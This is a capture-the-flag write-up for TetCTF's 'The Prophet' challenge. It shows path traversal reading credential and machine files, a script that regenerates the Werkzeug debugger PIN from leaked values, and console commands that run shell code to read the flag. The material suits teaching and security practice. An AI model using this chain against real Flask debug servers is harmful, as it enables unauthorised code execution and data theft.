Tags: web
Rating: 5.0
# The Prophet Writeup
Wohoo, wanna hear some oracle?
http://45.77.245.232:7004/
Important note:
- Brute-force won't help you solve this, you may be banned from the challenge if you do.
- Service will auto restart per 2 mins
___
You were given an [url](http://45.77.245.232:7004/) were you could get some "oracle". You could browse through a few files 1.txt-5.txt which were under the http://45.77.245.232:7004/read/oracle/. So the website just reads files.
Now if you try to read a file that doesn't exist you get an error.
As you can see this website runs on flask and you could extract the location of the python file that flask is runnning on from the error log.
```
File "/home/web_3/app.py", line 15, in read
```
So I tried to access the file with http://45.77.245.232:7004/read/app.py and it showed me the source code.
```python
from flask import Flask
from flask import render_template
import random
app = Flask(__name__)
@app.route('/')
def index():
rand = str(random.randint(1,5))
return render_template('index.html', random=rand)
@app.route('/read/<path:filename>')
def read(filename=None):
rand = str(random.randint(1,5))
try:
content = open(filename,'r').read()
except:
raise
return render_template('file.html', filename=content, random=rand)
if __name__ == '__main__':
app.run(host='0.0.0.0', port='7004', debug=True)
```
From there I was stuck for a while but I noticed after a bit of researching that there was a console under http://45.77.245.232:7004/console. The problem was that it was secured with a pin.
So I ran the sourcecode on my local machine and tried it there. I got a pin
```
* Serving Flask app "app" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on http://0.0.0.0:7004/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger PIN: 234-662-675
```
I wanted to know how the pin was calculated so I looked in the python directory of werkzeug for a generate pin function and I found this file ```/usr/local/lib/python2.7/site-packages/werkzeug/debug/__init__.py```
and there was this function
```python
def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", app.__class__.__module__)
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", app.__class__.__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
filename = "output.txt"
file = open("output.txt", "w")
file.write(rv)
file.close()
return rv, cookie_name
```
I looked at this function for a while and tried to generate the pin for my local machine first. I deleted everything useless such as the cookie_name because I didn't need it.
Here is the cleaned up code
```python
import hashlib
from itertools import chain
import os
import getpass
pin = None
rv = None
num = None
probably_public_bits = [
username , # username
modname , # modname
getattr (app, '__name__', getattr (app .__ class__, '__name__')),
getattr (mod, '__file__', None)
]
private_bits = [
str (uuid.getnode ()) ,
get_machine_id ()
]
h = hashlib.md5()
# Bit is going through every thing in probably_public_bits and private_bits
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, unicode):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
if num is None :
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
if rv is None :
for group_size in 5 , 4 , 3 :
if len (num)% group_size == 0 :
rv = '-' .join (num [x: x + group_size] .rjust (group_size, '0' )
for x in range ( 0 , len (num), group_size))
break
else :
rv = num
print (rv)
```
The rv will be our generated pin. I tried to find all the values that were required to generate a valid pin.
Those were the things I needed.
```python
probably_public_bits = [
username , # username
modname , # modname
getattr (app, '__name__', getattr (app .__ class__, '__name__')),
getattr (mod, '__file__', None)
]
private_bits = [
str (uuid.getnode ()) ,
get_machine_id ()
]
```
I debugged the function and stepped through every step to get to know what the different strings are.
The username was just the plain username. In my case _h4ckua11_. The modname was just _flask.app_ and the thing after that was _Flask_. The last bit of the public_bits was the location of the location of the main flask directory _/usr/local/lib/python2.7/dist-packages/flask/app.py_.
Now to the private bits.
The _str (uuid.getnode ())_ was the MAC-Address in decimal ad:ce:48:11:22:33->191101483950643.
Then it called the the _get_machine_id()_ function so I searched for it.
```python
def get_machine_id():
global _machine_id
rv = _machine_id
if rv is not None:
return rv
def _generate():
# docker containers share the same machine id, get the
# container id instead
try:
with open("/proc/self/cgroup") as f:
value = f.readline()
except IOError:
pass
else:
value = value.strip().partition("/docker/")[2]
if value:
return value
# Potential sources of secret information on linux. The machine-id
# is stable across boots, the boot id is not
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
return f.readline().strip()
except IOError:
continue
# On OS X we can use the computer's serial number assuming that
# ioreg exists and can spit out that information.
try:
# Also catch import errors: subprocess may not be available, e.g.
# Google App Engine
# See https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass
# On Windows we can use winreg to get the machine guid
wr = None
try:
import winreg as wr
except ImportError:
try:
import _winreg as wr
except ImportError:
pass
if wr is not None:
try:
with wr.OpenKey(
wr.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
wr.KEY_READ | wr.KEY_WOW64_64KEY,
) as rk:
machineGuid, wrType = wr.QueryValueEx(rk, "MachineGuid")
if wrType == wr.REG_SZ:
return machineGuid.encode("utf-8")
else:
return machineGuid
except WindowsError:
pass
_machine_id = rv = _generate()
return rv
```
It searched different files on different operating systems. On Mac in my case it looked up the Serial Number. On linux it just read _/etc/machine-id_.
Now I had everything to run the code. I ran it and I got the same pin number as the I had earlier.
```python
import hashlib
from itertools import chain
import os
import getpass
pin = None
rv = None
num = None
probably_public_bits = [
'h4ckua11' , # username
'flask.app' , # modname
'Flask',
'/usr/local/lib/python2.7/dist-packages/flask/app.py'
]
private_bits = [
'191101483950643' ,
'my serial number'
]
h = hashlib.md5()
# Bit is going through every thing in probably_public_bits and private_bits
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, unicode):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
if num is None :
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
if rv is None :
for group_size in 5 , 4 , 3 :
if len (num)% group_size == 0 :
rv = '-' .join (num [x: x + group_size] .rjust (group_size, '0' )
for x in range ( 0 , len (num), group_size))
break
else :
rv = num
print (rv)
```
```
234-662-675
```
So I tried it on the server.
Since I knew that the _app.py_ was in _/home/web_3/_ I had to get two directories back. With simple url encoding I got to the _/_ directory (http://45.77.245.232:7004/read%2F..%2F../).
I read all the files that I needed for this:
```
probably_public_bits = [
'web3_user' , # username http://45.77.245.232:7004/read%2F..%2F../etc/passwd
'flask.app' , # modname Always the same
'Flask' , # Always the same
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr (mod, '__file__', None) Error Message: http://45.77.245.232:7004/read%2F..%2F../wrong/file
]
private_bits = [
'94558041547692' , # http://45.77.245.232:7004/read%2F..%2F..%2Fetc/network/interfaces | http://45.77.245.232:7004/read%2F..%2F..%2Fsys/class/net/ens3/address
'd4e6cb65d59544f3331ea0425dc555a1' # http://45.77.245.232:7004/read%2F..%2F..%2Fetc/machine-id
]
```
I ran it and it gave me this pin
```
157-229-274
```
So I tried to login and it worked.
I now could run python code on the server.
I located the flag file and printed it's contents.
```
[console ready]
>>> import os
>>> print(os.popen("locate flag").read())
/phao_san_pa_lay___1337/flagggg.txt
/usr/lib/x86_64-linux-gnu/perl/5.22.1/bits/waitflags.ph
/usr/src/linux-headers-4.4.0-142/arch/alpha/include/asm/irqflags.h
/usr/src/linux-headers-4.4.0-142/arch/arc/include/asm/irqflags-arcv2.h
...
>>> print(os.popen("cat /phao_san_pa_lay___1337/flagggg.txt").read())
TetCTF{Flask_Debug_LFI___Wuttt__RCE}
Please don't do any further action on the server, we knew the setup suck, but it's needed for the vulnerability
```
And there was the Flag
**TetCTF{Flask_Debug_LFI___Wuttt__RCE}**